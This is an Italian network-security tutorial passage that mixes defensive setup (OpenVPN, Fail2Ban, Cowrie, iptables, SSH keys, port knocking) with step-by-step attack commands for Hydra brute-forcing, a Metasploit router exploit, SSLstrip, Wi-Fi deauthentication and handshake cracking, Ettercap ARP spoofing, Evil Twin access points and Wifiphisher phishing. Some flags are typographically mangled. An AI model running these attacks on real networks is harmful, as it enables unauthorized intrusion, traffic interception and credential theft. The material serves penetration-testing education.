Utilizzo Base di Hydra
Un tipico attacco di forza bruta con Hydra coinvolge un servizio (ad esempio SSH) e una lista di password o nomi utente. Per lanciare un attacco di forza bruta contro un servizio SSH, puoi usare il seguente comando:
hydra -l username -P /path/to/wordlist.txt ssh://192.168.1.1
- -l: Specifica il nome utente da testare.
- -P: Specifica la wordlist delle password da provare.
- ssh://192.168.1.1: L’indirizzo IP del bersaglio e il protocollo.
Utilizzo Avanzato di Hydra
Hydra supporta numerosi protocolli e può essere configurato per attaccare diversi servizi, come FTP, HTTP e altri.
- Attacco su un servizio HTTP:hydra -l admin -P /path/to/wordlist.txt http-get://192.168.1.1/admin
- Attacco a un servizio FTP:hydra -l ftpuser -P /path/to/wordlist.txt ftp://192.168.1.1
- Parallelizzazione degli attacchi: Hydra può parallelizzare le richieste, rendendo l’attacco più veloce. Puoi aumentare il numero di thread con l’opzione -t:hydra -l admin -P /path/to/wordlist.txt -t 16 ssh://192.168.1.1
Prevenzione degli Attacchi di Forza Bruta
- Utilizza password complesse: Più complessa è la password, più tempo impiegherà un attacco di forza bruta per avere successo.
- Configura un limite sui tentativi di accesso: Molti router e server permettono di configurare un limite sui tentativi di accesso falliti, bloccando temporaneamente l’accesso dopo un certo numero di tentativi.
- Utilizza l’autenticazione a due fattori (2FA): L’autenticazione a due fattori aggiunge un ulteriore livello di sicurezza, rendendo gli attacchi di forza bruta inefficaci.
Link di Approfondimento
12. Sicurezza tramite VPN: Creazione di una VPN con OpenVPN
L’uso di una VPN (Virtual Private Network) è uno dei modi più efficaci per proteggere la tua connessione e il traffico di rete da attacchi esterni. Le VPN criptano tutto il traffico tra il tuo dispositivo e la rete, rendendo difficile l’intercettazione da parte di malintenzionati. In questo capitolo, vedremo come configurare una VPN utilizzando OpenVPN su un router o server.
Installazione di OpenVPN
OpenVPN è un software open-source che può essere installato su molte piattaforme. Per installarlo su un server Linux, utilizza i seguenti comandi:
- Su Ubuntu/Debian:sudo apt update
sudo apt install openvpn - Su CentOS:sudo yum install epel-release
sudo yum install openvpn
Configurazione di OpenVPN
Una volta installato OpenVPN, puoi configurarlo per creare una connessione sicura tra il tuo dispositivo e la rete. Ecco i passaggi principali per configurare OpenVPN:
- Genera chiavi e certificati: OpenVPN utilizza crittografia basata su certificati. Puoi utilizzare il seguente script per generare i certificati necessari:sudo openvpn –genkey –secret /etc/openvpn/ta.key
- Crea il file di configurazione del server: Il file di configurazione del server OpenVPN contiene le informazioni su come il server deve gestire le connessioni. Crea un file /etc/openvpn/server.conf con il seguente contenuto di base:port 1194
proto udp
dev tun
ca ca.crt
cert server.crt
key server.key
dh dh2048.pem
server 10.8.0.0 255.255.255.0 - Avvia il server OpenVPN: Una volta configurato il file, puoi avviare il server OpenVPN con il seguente comando:sudo systemctl start openvpn@server
- Configurazione del client: Per connettere un dispositivo al server VPN, devi configurare il client OpenVPN con un file .ovpn. Ecco un esempio di file di configurazione per il client:client
dev tun
proto udp
remote your-server-ip 1194
ca ca.crt
cert client.crt
key client.key
Vantaggi dell’Utilizzo di una VPN
- Crittografia del Traffico: La VPN cripta tutti i dati inviati e ricevuti, rendendo difficile per gli hacker intercettare le informazioni.
- Accesso Sicuro alle Risorse di Rete: Con una VPN, puoi accedere in modo sicuro a risorse di rete interne anche quando sei fuori dalla tua rete domestica o aziendale.
- Mascheramento dell’Indirizzo IP: La VPN maschera il tuo indirizzo IP, rendendo più difficile per gli aggressori tracciare la tua attività.
Prevenzione contro Attacchi VPN
- Aggiorna regolarmente il software VPN: Le vulnerabilità vengono spesso scoperte nelle VPN, quindi è fondamentale mantenere il software aggiornato.
- Utilizza chiavi di crittografia forti: Usa chiavi di almeno 2048 bit per garantire un elevato livello di sicurezza.
Link di Approfondimento
13. Monitoraggio e Blocco di Accessi Non Autorizzati con Fail2Ban
Fail2Ban è uno strumento di sicurezza che monitora i file di log alla ricerca di attività sospette e blocca automaticamente gli indirizzi IP che tentano di accedere a un sistema in modo non autorizzato. È particolarmente utile per proteggere i router e altri dispositivi connessi da attacchi di forza bruta. In questo capitolo, vedremo come installare e configurare Fail2Ban per monitorare i tentativi di accesso e bloccare gli attacchi.
Installazione di Fail2Ban
Su Ubuntu/Debian, Fail2Ban può essere installato con il seguente comando:
sudo apt update
sudo apt install fail2ban
Su CentOS, usa questi comandi:
sudo yum install epel-release
sudo yum install fail2ban
Configurazione di Fail2Ban
Una volta installato, Fail2Ban può essere configurato per monitorare specifici servizi e file di log. La configurazione principale si trova nel file /etc/fail2ban/jail.local, che puoi modificare per monitorare vari servizi, come SSH o HTTP.
- Modifica del file jail.local: Crea il file di configurazione per Fail2Ban:sudo nano /etc/fail2ban/jail.localAggiungi le seguenti righe per monitorare i tentativi di accesso SSH:[sshd]
enabled = true
port = 22
filter = sshd
logpath = /var/log/auth.log
maxretry = 5
bantime = 600 - enabled: Abilita Fail2Ban per il servizio SSH.
- maxretry: Numero massimo di tentativi di accesso falliti prima che l’IP venga bloccato.
- bantime: Tempo di blocco (in secondi) per gli IP che hanno superato il numero massimo di tentativi.
- Avvio di Fail2Ban: Dopo aver configurato Fail2Ban, puoi avviarlo con il seguente comando:sudo systemctl start fail2ban
sudo systemctl enable fail2ban
Monitoraggio degli Accessi Non Autorizzati
Puoi utilizzare il comando fail2ban-client per monitorare gli IP bloccati o aggiungere nuove regole di blocco. Ecco alcuni comandi utili:
- Visualizzare gli IP bloccati:sudo fail2ban-client status sshd
- Aggiungere manualmente un IP alla blacklist:sudo fail2ban-client set sshd banip 192.168.1.100
- Rimuovere un IP dalla blacklist:sudo fail2ban-client set sshd unbanip 192.168.1.100
Protezione con Fail2Ban
- Configura regole personalizzate: Puoi creare filtri personalizzati per proteggere servizi specifici e monitorare attività particolari nei file di log.
- Integra Fail2Ban con il firewall: Fail2Ban può essere integrato con firewall come iptables per bloccare gli IP sospetti in modo più efficace.
Link di Approfondimento
14. Configurazione di un Honeypot con Cowrie per Intrappolare gli Attaccanti
Un honeypot è un sistema progettato per attirare e ingannare gli hacker, facendoli credere di aver compromesso un vero bersaglio, mentre in realtà stanno interagendo con un sistema monitorato. Cowrie è uno dei più popolari honeypot per SSH, ed è utilizzato per registrare i tentativi di attacco e raccogliere informazioni sugli hacker. In questo capitolo, esploreremo come configurare un honeypot con Cowrie.
Installazione di Cowrie
Per installare Cowrie, segui questi passaggi:
- Clona il repository di Cowrie:git clone https://github.com/cowrie/cowrie.git
cd cowrie - Installa le dipendenze: Usa pip per installare le dipendenze Python necessarie:sudo apt install python3-virtualenv
virtualenv cowrie-env
source cowrie-env/bin/activate
pip install -r requirements.txt - Configura Cowrie: Copia il file di configurazione di esempio e modificalo secondo le tue esigenze:cp etc/cowrie.cfg.dist etc/cowrie.cfgApri il file cowrie.cfg con un editor di testo e modifica le impostazioni principali, come la porta da utilizzare e la directory in cui verranno salvati i log.
- Avvia Cowrie: Puoi avviare Cowrie con il seguente comando:./bin/cowrie start
Monitoraggio dei Tentativi di Attacco
Cowrie registra tutti i comandi inseriti dagli attaccanti e crea log dettagliati dei tentativi di attacco. Puoi visualizzare questi log nella directory log/ all’interno della cartella di installazione di Cowrie. Ecco alcuni comandi utili per monitorare il sistema:
- Visualizzare i log in tempo reale:tail -f log/cowrie.log
- Analizzare i comandi inseriti dagli attaccanti: Cowrie salva i comandi eseguiti dagli attaccanti nel file tty/. Puoi visualizzarli con:cat log/tty/command.log
Protezione tramite Honeypot
Un honeypot come Cowrie può essere utilizzato per raccogliere informazioni preziose sugli attaccanti, come gli indirizzi IP e le tecniche utilizzate. Tuttavia, non sostituisce le misure di sicurezza reali, come l’uso di firewall e l’aggiornamento del firmware del router.
- Utilizza Cowrie per tracciare gli IP sospetti: Puoi utilizzare gli IP degli attaccanti per bloccarli tramite firewall.
- Integra Cowrie con Fail2Ban: Puoi configurare Fail2Ban per bloccare automaticamente gli IP che interagiscono con Cowrie.
Link di Approfondimento
15. Protezione del Router con un Firewall: Configurazione di iptables
iptables è un firewall molto utilizzato sui sistemi Linux per gestire il traffico di rete in entrata e in uscita. Configurare un firewall sul tuo router o server è essenziale per bloccare tentativi di accesso non autorizzati e proteggere la rete da attacchi esterni. In questo capitolo, vedremo come configurare iptables per proteggere il tuo router.
Installazione di iptables
Su Kali Linux, Ubuntu, e altre distribuzioni basate su Debian, iptables è preinstallato. Se per qualche motivo non lo hai, puoi installarlo con il seguente comando:
sudo apt update
sudo apt install iptables
Configurazione di iptables per Proteggere il Router
Ecco alcune regole di base per configurare iptables e proteggere il tuo router.
- Bloccare tutto il traffico in ingresso tranne SSH e HTTP:sudo iptables -P INPUT DROP
sudo iptables -P FORWARD DROP
sudo iptables -A INPUT -p tcp –dport 22 -j ACCEPT
sudo iptables -A INPUT -p tcp –dport 80 -j ACCEPT
sudo iptables -A INPUT -m conntrack –ctstate ESTABLISHED,RELATED -j ACCEPT - Bloccare gli attacchi di forza bruta: Puoi configurare iptables per limitare il numero di tentativi di connessione SSH per prevenire gli attacchi di forza bruta:sudo iptables -A INPUT -p tcp –dport 22 -m state –state NEW -m recent –set
sudo iptables -A INPUT -p tcp –dport 22 -m state –state NEW -m recent –update –seconds 60 –hitcount 5 -j DROP - Bloccare il traffico proveniente da indirizzi IP sospetti: Se hai identificato indirizzi IP sospetti attraverso strumenti come Fail2Ban o Cowrie, puoi bloccarli direttamente con iptables:sudo iptables -A INPUT -s 192.168.1.100 -j DROP
- Salvare le regole di iptables: Per fare in modo che le regole di iptables persistano al riavvio, salva le regole con il seguente comando:sudo iptables-save > /etc/iptables/rules.v4
Monitoraggio del Traffico con iptables
iptables può essere configurato per registrare il traffico in entrata e in uscita, il che ti consente di monitorare tentativi di accesso sospetti.
- Loggare il traffico in entrata: Puoi configurare iptables per registrare il traffico che viene bloccato:sudo iptables -A INPUT -j LOG –log-prefix “IPTables-Dropped: “
- Visualizzare i log: I log verranno salvati nel file /var/log/syslog o in /var/log/messages. Puoi visualizzarli con:tail -f /var/log/syslog
Prevenzione con iptables
- Utilizza regole specifiche: Configura regole precise per limitare l’accesso solo ai servizi necessari.
- Blocca gli indirizzi IP sospetti: Integra iptables con strumenti come Fail2Ban per bloccare automaticamente gli indirizzi IP che mostrano attività sospette.
Link di Approfondimento
16. Utilizzo di Nmap per Scansioni Avanzate della Rete
Nmap è uno dei più potenti strumenti di scansione di rete. Viene utilizzato per mappare le reti, scoprire dispositivi, servizi attivi, porte aperte e identificare vulnerabilità. In questo capitolo esploreremo le funzionalità avanzate di Nmap per eseguire scansioni mirate e dettagliate sulla rete del router.
Installazione di Nmap
Nmap è preinstallato su Kali Linux, ma su altre distribuzioni può essere installato con il seguente comando:
- Su Ubuntu/Debian:sudo apt update
sudo apt install nmap
Scansioni Base con Nmap
Ecco alcuni comandi di base per eseguire scansioni di rete con Nmap:
- Scansione delle porte aperte su un router:nmap 192.168.1.1Questo comando esegue una scansione delle porte aperte sul router con IP 192.168.1.1.
- Scansione di tutte le porte TCP e UDP:nmap -sT -sU 192.168.1.1
- -sT: Scansione delle porte TCP.
- -sU: Scansione delle porte UDP.
Scansioni Avanzate con Nmap
Nmap offre molte funzionalità avanzate per eseguire scansioni più dettagliate:
- Scansione con rilevamento del sistema operativo:nmap -O 192.168.1.1Questo comando tenta di identificare il sistema operativo in esecuzione sul router.
- Scansione per vulnerabilità: Nmap include uno script engine che permette di eseguire script personalizzati per rilevare vulnerabilità:nmap –script vuln 192.168.1.1Questo comando esegue una scansione per individuare eventuali vulnerabilità note sul router.
Prevenzione contro le Scansioni di Nmap
- Abilita il firewall: Configura il firewall per limitare le porte esposte e monitorare il traffico.
- Disabilita UPnP e SNMP: Questi servizi possono fornire informazioni utili a un attaccante e dovrebbero essere disabilitati se non utilizzati.
Link di Approfondimento
17. Configurazione e Uso di Metasploit per Test di Penetrazione
Metasploit Framework è uno degli strumenti più potenti per eseguire test di penetrazione. È utilizzato per sviluppare e testare exploit, analizzare vulnerabilità, e simulare attacchi su sistemi di rete come router. In questo capitolo, vedremo come configurare Metasploit e utilizzarlo per eseguire attacchi di test su un router vulnerabile.
Installazione di Metasploit
Su Kali Linux, Metasploit è preinstallato. Se utilizzi un’altra distribuzione, puoi installarlo seguendo questi passaggi:
- Su Ubuntu/Debian:sudo apt update
sudo apt install metasploit-framework
Configurazione di Metasploit
Dopo l’installazione, puoi avviare Metasploit con il seguente comando:
msfconsole
Utilizzo Base di Metasploit
Una volta avviato Metasploit, puoi utilizzare gli exploit disponibili nel database per attaccare dispositivi vulnerabili. Ecco un esempio di utilizzo per sfruttare una vulnerabilità su un router:
- Ricerca degli exploit disponibili: Supponiamo che tu voglia attaccare un router. Puoi cercare gli exploit disponibili nel database:search router
- Selezione di un exploit: Una volta trovato un exploit adatto, ad esempio exploit/linux/router/dlink_dhcp_exec, puoi selezionarlo con il seguente comando:use exploit/linux/router/dlink_dhcp_exec
- Configurazione dei parametri dell’exploit: Configura l’indirizzo IP del router bersaglio:set RHOST 192.168.1.1
- Lanciare l’exploit: Dopo aver configurato i parametri necessari, puoi lanciare l’exploit:exploit
Scansione di Vulnerabilità con Metasploit
Oltre a eseguire exploit, Metasploit può essere utilizzato per scansionare una rete alla ricerca di vulnerabilità:
- Utilizzo di auxiliary/scanner per rilevare vulnerabilità: Esegui una scansione per identificare vulnerabilità comuni su un router:use auxiliary/scanner/http/title
set RHOSTS 192.168.1.1
run
Protezione contro Attacchi Metasploit
- Aggiorna regolarmente il firmware del router: Gli exploit di Metasploit sfruttano vulnerabilità note. Mantenere il firmware aggiornato aiuta a prevenire questi attacchi.
- Configura correttamente il firewall: Limitare l’accesso ai servizi del router tramite firewall può ridurre le superfici di attacco.
Link di Approfondimento
18. Sicurezza delle Comunicazioni con SSH e Certificati
Il protocollo SSH (Secure Shell) è ampiamente utilizzato per l’accesso remoto sicuro a server e dispositivi di rete come router. Tuttavia, l’uso di semplici password può esporre il sistema a rischi, come attacchi di forza bruta. Configurare l’autenticazione SSH con chiavi pubbliche e private aumenta notevolmente la sicurezza delle comunicazioni. In questo capitolo, vedremo come configurare l’autenticazione SSH basata su certificati.
Generazione delle Chiavi SSH
Il primo passo è generare una coppia di chiavi SSH sul tuo computer. La chiave pubblica sarà installata sul router o server, mentre la chiave privata rimarrà protetta sul tuo dispositivo.
- Generazione delle chiavi:ssh-keygen -t rsa -b 4096
- -t rsa: Specifica il tipo di chiave RSA.
- -b 4096: Imposta la lunghezza della chiave a 4096 bit per una maggiore sicurezza.
- Installazione della chiave pubblica sul router: Copia la chiave pubblica generata sul router o server utilizzando il seguente comando:ssh-copy-id user@192.168.1.1
Disabilitare l’Accesso con Password
Per evitare che gli attaccanti possano tentare di accedere utilizzando una semplice password, è consigliabile disabilitare l’accesso via password e consentire solo l’accesso con chiavi SSH.
- Modifica del file di configurazione SSH: Apri il file /etc/ssh/sshd_config sul router o server:sudo nano /etc/ssh/sshd_config
- Disabilitare l’accesso con password: Trova e modifica le seguenti linee nel file:PasswordAuthentication no
PermitRootLogin noSalvare le modifiche e riavviare il servizio SSH:sudo systemctl restart ssh
Protezione di SSH con Fail2Ban
Puoi aumentare la protezione dell’accesso SSH integrando Fail2Ban. Fail2Ban monitora i tentativi di accesso falliti e blocca gli IP sospetti.
- Configura Fail2Ban per SSH: Aggiungi la configurazione seguente nel file /etc/fail2ban/jail.local:[sshd]
enabled = true
port = ssh
filter = sshd
logpath = /var/log/auth.log
maxretry = 3
bantime = 3600
Protezione Avanzata con Autenticazione a Due Fattori
Puoi aggiungere un ulteriore livello di sicurezza configurando l’autenticazione a due fattori (2FA) su SSH. Questo richiede agli utenti di inserire un secondo fattore, come un codice temporaneo, oltre alla chiave SSH.
Link di Approfondimento
19. Configurazione di Port Knocking per Aumentare la Sicurezza
Il Port Knocking è una tecnica utilizzata per nascondere servizi di rete come SSH dietro porte chiuse e aprirle solo quando un utente legittimo invia una sequenza specifica di pacchetti di rete. Questa tecnica aumenta la sicurezza del router, poiché un attaccante non vedrà le porte aperte a meno che non conosca la sequenza di knocking.
Installazione di Knockd
Per configurare il port knocking, utilizzeremo knockd, un demone che monitora la rete per sequenze specifiche di pacchetti. Per installare knockd su Ubuntu/Debian:
sudo apt update
sudo apt install knockd
Configurazione di Knockd
Dopo aver installato knockd, dobbiamo configurare le sequenze di knocking. Il file di configurazione di knockd si trova in /etc/knockd.conf. Ecco un esempio di configurazione per proteggere la porta SSH (porta 22):
[openSSH]
sequence = 7000,8000,9000
seq_timeout = 5
command = /sbin/iptables -A INPUT -p tcp –dport 22 -j ACCEPT
[closeSSH]
sequence = 9000,8000,7000
seq_timeout = 5
command = /sbin/iptables -D INPUT -p tcp –dport 22 -j ACCEPT
- sequence: Definisce la sequenza di porte da colpire per aprire la porta SSH.
- command: Il comando da eseguire quando viene rilevata la sequenza corretta.
Avvio di Knockd
Dopo aver configurato knockd, puoi avviare il servizio:
sudo systemctl start knockd
sudo systemctl enable knockd
Utilizzo di Knock per Accedere a SSH
Per inviare la sequenza di knocking e aprire la porta SSH, utilizza il seguente comando dal tuo client:
knock 192.168.1.1 7000 8000 9000
Una volta eseguita la sequenza corretta, la porta SSH verrà aperta temporaneamente, permettendoti di accedere in sicurezza.
Prevenzione contro Tentativi di Knocking non Autorizzati
- Configura Fail2Ban per monitorare i tentativi di knocking falliti e bloccare gli IP sospetti.
- Usa sequenze complesse e non ovvie per il knocking per aumentare la sicurezza.
Link di Approfondimento
20. Sicurezza del Router: Best Practices e Considerazioni Finali
La sicurezza del router è fondamentale per proteggere la rete domestica o aziendale da attacchi informatici. Dopo aver implementato le varie tecniche descritte nei capitoli precedenti, ci sono ulteriori best practices che possono essere adottate per migliorare ulteriormente la sicurezza.
1. Aggiornamenti regolari del firmware
Uno dei metodi più semplici ma efficaci per proteggere il router è mantenere aggiornato il firmware. I produttori rilasciano regolarmente aggiornamenti per correggere vulnerabilità e migliorare la sicurezza del dispositivo.
- Verifica della versione del firmware: Accedi al pannello di amministrazione del router e cerca la sezione “Firmware”. Verifica se è disponibile una versione più recente e segui le istruzioni per l’aggiornamento.
- Attivazione degli aggiornamenti automatici: Alcuni router supportano aggiornamenti automatici. Se disponibile, attiva questa opzione per mantenere il router sempre protetto.
2. Configurazione del firewall del router
Molti router moderni includono un firewall integrato che può essere configurato per limitare il traffico in entrata e in uscita, aumentando la sicurezza della rete.
- Abilita il firewall: Accedi al pannello del router e abilita il firewall, assicurandoti di configurarlo correttamente per limitare l’accesso solo ai servizi necessari.
- Blocco delle porte non utilizzate: Chiudi tutte le porte che non sono necessarie per il funzionamento quotidiano della rete.
3. Disabilitazione di servizi non necessari
Molti router vengono configurati con servizi aggiuntivi attivi, come UPnP (Universal Plug and Play) o WPS (Wi-Fi Protected Setup), che possono essere vulnerabili a exploit.
- Disabilita UPnP: UPnP può essere sfruttato per aprire porte non autorizzate sulla rete. Disabilita questa funzione se non la utilizzi attivamente.
- Disabilita WPS: WPS è noto per essere vulnerabile a attacchi di forza bruta. Se possibile, disattiva WPS e utilizza una configurazione manuale per aggiungere nuovi dispositivi alla rete Wi-Fi.
4. Utilizzo di VPN per crittografare il traffico
Se possibile, configura una VPN direttamente sul router per crittografare tutto il traffico in uscita e proteggere la privacy degli utenti della rete. Questo aggiunge un ulteriore livello di sicurezza, rendendo difficile per gli hacker intercettare o monitorare le attività di rete.
- Installazione di OpenVPN: Molti router supportano l’integrazione di OpenVPN. Consulta il manuale del tuo router per istruzioni su come configurare una VPN.
- Protezione avanzata per la navigazione: La VPN nasconde l’indirizzo IP degli utenti della rete, proteggendo la loro identità e i dati in transito da attacchi e intercettazioni.
5. Monitoraggio regolare della rete
Infine, è importante monitorare regolarmente la rete per individuare dispositivi sconosciuti o attività sospette. Strumenti come Wireshark o i log del router possono aiutare a tenere sotto controllo la rete.
Conclusione
Proteggere il router richiede una combinazione di tecniche preventive e strumenti di monitoraggio. Implementando le best practices descritte in questo capitolo, puoi garantire che la tua rete sia sicura e resistente agli attacchi informatici. Mantenere il firmware aggiornato, configurare correttamente il firewall, disabilitare servizi inutili e utilizzare una VPN sono tutte misure che migliorano significativamente la sicurezza della tua rete.
Link di Approfondimento
21. Attacco Man-in-the-Middle con SSL Strip
L’attacco SSL Strip è una tecnica di man-in-the-middle (MitM) utilizzata per degradare una connessione HTTPS a HTTP. Questo consente a un attaccante di intercettare e leggere i dati trasmessi su una rete, come credenziali di accesso o informazioni sensibili, senza che l’utente se ne accorga. SSL Strip intercetta le richieste HTTPS e le converte in HTTP, rimuovendo la crittografia. In questo paragrafo vedremo come eseguire un attacco SSL Strip utilizzando strumenti come Bettercap o SSLstrip.
Installazione e Configurazione di SSLstrip
Per iniziare con un attacco SSL Strip, puoi utilizzare SSLstrip o Bettercap. Entrambi sono strumenti potenti per eseguire attacchi MitM.
- Installazione di SSLstrip: Puoi installare SSLstrip con il seguente comando su un sistema basato su Linux:sudo apt update
sudo apt install sslstrip - Esecuzione dell’attacco con SSLstrip: Una volta installato, puoi eseguire SSLstrip per intercettare il traffico. Assicurati di avere il traffico inoltrato abilitato:sudo echo 1 > /proc/sys/net/ipv4/ip_forwardInizia a eseguire SSLstrip sulla porta 8080:sudo sslstrip -l 8080
- Impostazione di iptables: Devi anche configurare iptables per reindirizzare il traffico HTTP e HTTPS verso SSLstrip:sudo iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 8080
- Utilizzo di Bettercap: In alternativa, puoi usare Bettercap, che ha integrato SSL stripping e molte altre funzionalità di attacco MitM. Per eseguire un attacco con Bettercap, utilizza il comando:sudo bettercap -caplet http-ui
Prevenzione di Attacchi SSL Strip
- Utilizzare sempre connessioni HTTPS forzate, anche tramite strumenti come HSTS (HTTP Strict Transport Security).
- Monitorare regolarmente il traffico della rete per rilevare attività sospette con strumenti come Wireshark.
Link di Approfondimento
22. Cattura di un Handshake Wi-Fi
Un handshake Wi-Fi è il processo di autenticazione che avviene tra un dispositivo e un router quando un dispositivo tenta di connettersi a una rete Wi-Fi protetta da WPA/WPA2. La cattura di un handshake è fondamentale per tentativi di cracking della password Wi-Fi. In questo paragrafo vedremo come catturare un handshake utilizzando strumenti come airodump-ng.
Cattura dell’Handshake con airodump-ng
- Mettere la scheda Wi-Fi in modalità monitor: Per catturare un handshake, è necessario che la scheda Wi-Fi sia in modalità monitor. Usa il seguente comando:sudo airmon-ng start wlan0
- Avviare la cattura con airodump-ng: Una volta che la scheda è in modalità monitor, esegui airodump-ng per iniziare a monitorare la rete:sudo airodump-ng wlan0mon
- Seleziona il canale della rete bersaglio: Quando identifichi la rete Wi-Fi a cui desideri catturare l’handshake, avvia airodump-ng sul canale specifico:sudo airodump-ng –bssid <BSSID> -c <channel> -w capture wlan0mon
- <BSSID>: L’indirizzo MAC del router.
- <channel>: Il canale su cui trasmette il router.
- Attendere l’Handshake: Ora airodump-ng monitorerà la rete e registrerà l’handshake nel file capture.cap quando un dispositivo si connette o riconnette alla rete.
Strumenti Alternativi per la Cattura dell’Handshake
Oltre ad airodump-ng, esistono altri strumenti che possono catturare gli handshake Wi-Fi, come Bettercap o Wireshark.
Link di Approfondimento
23. Forzare le Riconnessioni Wi-Fi per Catturare un Handshake
Se non ci sono dispositivi che si stanno connettendo alla rete, puoi forzare le riconnessioni eseguendo un attacco di deautenticazione. Questo costringerà i dispositivi a disconnettersi dal router e a riconnettersi, generando così un handshake che potrà essere catturato. In questo paragrafo vedremo come eseguire un attacco di deautenticazione utilizzando aireplay-ng.
Attacco di Deautenticazione con Aireplay-ng
- Seleziona la rete da attaccare: Dopo aver identificato il BSSID della rete e il canale, esegui il seguente comando per avviare l’attacco di deautenticazione:sudo aireplay-ng –deauth 10 -a <BSSID> -c <client_MAC> wlan0mon
- <BSSID>: L’indirizzo MAC del router.
- <client_MAC>: L’indirizzo MAC del dispositivo connesso.
- Forzare la disconnessione di tutti i dispositivi: Se vuoi disconnettere tutti i dispositivi connessi al router, puoi eseguire il comando senza specificare l’indirizzo MAC del client:sudo aireplay-ng –deauth 10 -a <BSSID> wlan0mon
- Monitorare l’handshake: Mentre l’attacco di deautenticazione è in esecuzione, usa airodump-ng per monitorare la rete e catturare il nuovo handshake generato dai dispositivi che si riconnettono.
Prevenzione contro Attacchi di Deautenticazione
- Utilizzare reti WPA3: WPA3 è più resistente agli attacchi di deautenticazione rispetto a WPA2.
- Configurare una VPN: Una VPN può proteggere i dati anche se il traffico è intercettato.
Link di Approfondimento
24. Lettura e Analisi di un Handshake Wi-Fi
Una volta catturato l’handshake di una rete Wi-Fi, è possibile analizzarlo per tentare di decifrare la password della rete. In questo capitolo, vedremo come utilizzare strumenti come aircrack-ng per leggere e decifrare un handshake, nonché alcune tecniche alternative di cracking delle password Wi-Fi.
Lettura di un Handshake con Aircrack-ng
- Avvio del processo di cracking: Dopo aver catturato l’handshake e salvato il file di cattura (.cap), esegui aircrack-ng per avviare il tentativo di cracking:sudo aircrack-ng -w /path/to/wordlist.txt -b <BSSID> capture.cap
- /path/to/wordlist.txt: Il percorso della wordlist (un elenco di password potenziali).
- <BSSID>: L’indirizzo MAC del router.
- Utilizzo di Wordlists: Aircrack-ng confronta l’handshake catturato con le password presenti nella wordlist. Esistono molte wordlist disponibili, come rockyou.txt, ma puoi anche crearne una personalizzata.
- Lettura dei risultati: Se la password è presente nella wordlist, aircrack-ng la mostrerà al termine del processo. Altrimenti, potrai utilizzare altre tecniche per migliorare il tentativo di cracking.
Altri Strumenti di Cracking
Oltre ad aircrack-ng, esistono altri strumenti per decifrare handshake Wi-Fi, come hashcat, che utilizza la potenza delle GPU per accelerare il processo di cracking.
- Cracking con Hashcat: Hashcat è uno strumento potente per decifrare password utilizzando algoritmi avanzati e la forza bruta GPU. Ecco un esempio di comando per lanciare un attacco di cracking:hashcat -m 2500 capture.hccapx /path/to/wordlist.txt
Prevenzione contro Attacchi di Cracking
- Utilizzare password lunghe e complesse: Più lunga e complessa è la password, più difficile sarà decifrarla.
- Abilitare WPA3: WPA3 utilizza una crittografia più robusta e riduce la possibilità di attacchi di cracking basati sugli handshake.
Link di Approfondimento
25. Utilizzo di Ettercap per Attacchi Man-in-the-Middle
Ettercap è uno degli strumenti più utilizzati per eseguire attacchi Man-in-the-Middle (MITM), intercettando il traffico di rete e, in alcuni casi, manipolandolo. Vedremo come Ettercap può essere utilizzato per intercettare il traffico tra un dispositivo e un router, spiegando come funziona il MITM.
Cos’è un Attacco Man-in-the-Middle?
L’attacco MITM si verifica quando un attaccante si posiziona tra la vittima e un server (o un router) per intercettare, manipolare o rubare informazioni. In un attacco MITM, il flusso di comunicazione tra la vittima e il router viene intercettato dall’attaccante senza che le parti se ne accorgano.
Installazione di Ettercap
Ettercap è disponibile su Kali Linux. Se non è già installato, può essere aggiunto utilizzando:sudo apt update
sudo apt install ettercap-graphical
Avvio di un Attacco MITM con Ettercap
- Avvio di Ettercap: Avvia Ettercap con l’interfaccia grafica:sudo ettercap -G
- Avvio della scansione della rete: Dopo aver avviato Ettercap, seleziona la scheda di rete da utilizzare e avvia la scansione degli host. Questo ti mostrerà tutti i dispositivi connessi alla rete.
- ARP Spoofing: Una volta individuato il router e la vittima, inizia un attacco di ARP Spoofing. Ettercap ingannerà la vittima e il router, facendoli credere di comunicare tra loro, mentre in realtà il traffico passerà attraverso l’attaccante. Comando per avviare l’attacco di spoofing ARP:sudo ettercap -Tq -i wlan0 -M arp:remote /<router_IP>/ /<victim_IP>/
- Monitoraggio del Traffico: Ettercap inizierà a monitorare e intercettare il traffico della vittima. Puoi anche utilizzare plugin per manipolare il traffico o eseguire ulteriori attacchi.
Prevenzione di Attacchi MITM
- Utilizzare HTTPS: Le connessioni HTTPS proteggono i dati anche se intercettati.
- Implementare VPN: Una VPN crittografa tutto il traffico, rendendolo illeggibile agli attaccanti.
26. Esecuzione di Attacchi Evil Twin su Reti Wi-Fi
Un attacco Evil Twin consiste nel creare una falsa rete Wi-Fi che imita una legittima, ingannando gli utenti affinché si connettano. Una volta connessi, l’attaccante può intercettare o manipolare il traffico.
Cos’è un Attacco Evil Twin?
L’attacco Evil Twin funziona creando una rete Wi-Fi con lo stesso nome (SSID) di una legittima. Gli utenti si collegano inconsapevolmente alla rete falsa, permettendo all’attaccante di monitorare e catturare il traffico, incluse le credenziali.
Esecuzione di un Attacco Evil Twin con Airbase-ng
- Mettere la scheda Wi-Fi in modalità monitor: Come nei precedenti capitoli, la scheda Wi-Fi deve essere in modalità monitor:sudo airmon-ng start wlan0
- Avvio di airbase-ng: Esegui il comando seguente per creare la rete Evil Twin:sudo airbase-ng -e “SSID_legittimo” -c 6 wlan0mon
- Configurare un server DHCP: Per assegnare indirizzi IP ai dispositivi che si connettono, configura un server DHCP utilizzando dnsmasq. Esempio di file di configurazione:interface=wlan0
dhcp-range=192.168.0.10,192.168.0.50,12h - Monitorare il traffico con Wireshark: Dopo aver avviato l’Evil Twin, usa Wireshark per monitorare il traffico dei dispositivi connessi.
Prevenzione di Attacchi Evil Twin
- Educare gli utenti: Insegna a riconoscere le reti Wi-Fi legittime.
- Utilizzare WPA3: WPA3 migliora la protezione contro gli attacchi Evil Twin.
27. Bypass delle Misure di Sicurezza con Wifiphisher
Wifiphisher è uno strumento utilizzato per eseguire attacchi di phishing su reti Wi-Fi. Consente di creare pagine di accesso false per rubare le credenziali Wi-Fi degli utenti.
Attacco Phishing con Wifiphisher
- Installazione di Wifiphisher: Wifiphisher è disponibile su Kali Linux. Può essere installato con:sudo apt update
sudo apt install wifiphisher - Avvio di Wifiphisher: Lancia Wifiphisher per iniziare un attacco di phishing Wi-Fi:sudo wifiphisher
- Selezione della rete bersaglio: Wifiphisher elencherà le reti disponibili. Seleziona quella che desideri attaccare e scegli lo scenario di phishing, come una falsa pagina di aggiornamento del router.
